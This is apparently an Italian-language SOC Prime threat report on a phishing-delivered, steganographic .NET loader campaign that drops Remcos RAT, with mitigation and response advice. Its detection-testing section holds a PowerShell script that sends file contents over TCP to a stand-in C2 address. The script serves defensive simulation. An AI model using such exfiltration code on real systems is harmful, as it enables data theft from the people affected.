SOC Prime Bias: Alto

24 Jun 2026 06:40 UTC

Una Campagna di Caricamento Steganografico Multi-Fase che Distribuisce Payload Diversificati a Livello Globale

Author Photo
SOC Prime Team linkedin icon Segui
Una Campagna di Caricamento Steganografico Multi-Fase che Distribuisce Payload Diversificati a Livello Globale
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

Una campagna malware a più stadi si basa sulla steganografia e l’esecuzione in memoria per distribuire più payload, incluso Remcos RAT. La catena d’infezione inizia con un’email di phishing contenente un archivio malevolo che rilascia un eseguibile .NET. Questo eseguibile utilizza risorse integrate e metodi steganografici per caricare le fasi successive direttamente in memoria, aiutando il malware a evitare il rilevamento su disco.

Indagine

L’indagine è iniziata dopo che la telemetria ha segnalato un file sospetto chiamato GST Debit Note Apr_26.com. Gli analisti hanno determinato che il file era un eseguibile .NET a 32 bit mascherato da gioco. Ulteriori analisi di reverse engineering hanno rivelato la steganografia incorporata in un oggetto Bitmap .NET, che nascondeva il caricatore di fase successiva, Optimax.dll, e permetteva la sua esecuzione completamente in memoria.

Mitigazione

Le organizzazioni dovrebbero implementare una robusta filtrazione delle email per bloccare allegati archivio sospetti e tentativi di phishing. Le soluzioni EDR dovrebbero essere in grado di rilevare l’esecuzione in memoria, la hollowing dei processi e comportamenti sospetti di PowerShell. I team dovrebbero anche monitorare i cambiamenti non autorizzati del registro, specialmente nelle chiavi Run, e imporre un controllo rigoroso delle applicazioni per prevenire l’avvio di eseguibili non firmati.

Risposta

Gli endpoint colpiti dovrebbero essere isolati immediatamente per limitare il movimento laterale e il furto di dati. Gli investigatori dovrebbero eseguire l’analisi forense della memoria per identificare i componenti fileless e confermare la presenza del Remcos_Mutex_Inj mutex. Un controllo completo dovrebbe verificare anche la persistenza non autorizzata nella directory AppData e nelle chiavi Run del registro, mentre le credenziali dovrebbero essere reset per qualsiasi utente i cui browser potrebbero essere stati accessi dal malware.

Flusso d’attacco

Esecuzione di Simulazione

Prerequisito: Il Controllo Pre-volo della Telemetria e Baseline deve essere passato.

Motivazione: Questa sezione descrive l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

  • Narrativa e Comandi dell’Attacco: L’avversario ha stabilito con successo un punto d’appoggio. Per completare l’obiettivo, raccolgono la telemetria di sistema e la nascondono in un file chiamato logs.dat per camuffarsi come log standard di sistema. L’avversario poi avvia una connessione di rete all’infrastruttura C2 stabilita (usando l’IP 1.2.3.4 e la porta 37393 per questa simulazione) per esfiltrare i dati. Questo imita il comportamento di un loader steganografico che cerca di spostare dati fuori dalla rete tramite un canale specifico e codificato.

  • Script di Test di Regressione:

    # Simulazione di Esfiltrazione Dati tramite specifico nome file e parametri C2
    $C2_IP = "1.2.3.4" # IP C2 simulato
    $C2_PORT = 37393
    $FILENAME = "logs.dat"
    
    # 1. Crea il file di dati 'malevole'
    Write-Output "Dati Sensibili: UserCredentials_Admin_Pass123" | Out-File -FilePath "$env:TEMP$FILENAME"
    
    # 2. Simula la connessione di rete al C2
    # Usare un Client TCP per forzare la telemetria di porta/IP specifica
    try {
        $client = New-Object System.Net.Sockets.TcpClient($C2_IP, $C2_PORT)
        $stream = $client.GetStream()
        $data = [System.Text.Encoding]::ASCII.GetBytes((Get-Content "$env:TEMP$FILENAME"))
        $stream.Write($data, 0, $data.Length)
        $client.Close()
    } catch {
        Write-Host "Connessione fallita (Prevista se l'IP è inesistente), ma la telemetria dovrebbe essere catturata dal firewall."
    }
  • Comandi di Pulizia:

    # Rimuovi il file malevolo simulato
    Remove-Item -Path "$env:TEMPlogs.dat" -ErrorAction SilentlyContinue